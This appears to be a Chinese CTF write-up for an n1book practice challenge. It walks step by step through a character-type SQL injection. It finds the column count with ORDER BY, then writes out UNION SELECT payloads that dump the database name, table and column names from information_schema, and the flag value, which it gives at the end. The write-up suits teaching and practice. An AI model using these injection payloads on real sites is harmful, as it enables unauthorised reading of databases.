判断是什么类型的注入:
至此可以判断出是字符型注入
然后开始注入,先order by判断列数
order by 3 有回显 order by 4 没有回显 所以一共三列
然后用union select进行联合查询
可以发现id=1’ union select 1,2,3 %23 并未显示(这里的1,2,3列,不知道列名可以用1,2,3来代替)
为什么要用union select?
我们需要通过注入来得到我们想要的信息,但是这个信息是在后台查询到的,并没有返回到我们手中,我们要做的是将查询到的信息回显在网页上,比如这个查询有3个字段,但是这三个字段不一定都可以在网页前端进行回显,我们要做的就是判断哪个可以在网页上回显,就用到了union select。
这里输入之后并未得到结果,但是实际上sql确实查出了信息,只是并未显示(与源代码有关)
可以用
id=1' union select 1,2,3 limit 1,1%23
或者
id=-1' union select 1,2,3 %23
接下来查数据库名
id=-1' union select 1,database(),3%23
查表名
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='note' ),3%23
group_concat是用“,”联合多行记录的函数(可以查到当前库的所有表名,并显示在一个字段中)
查表fl4g的列名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g' ),3%23
查询字段数据
id=-1' union select 1,(select fllllag from fl4g),3%23
或者
id=-1' union select 1,(select group_concat(fllllag) from fl4g),3%23
得到flag
n1book{union_select_is_so_cool}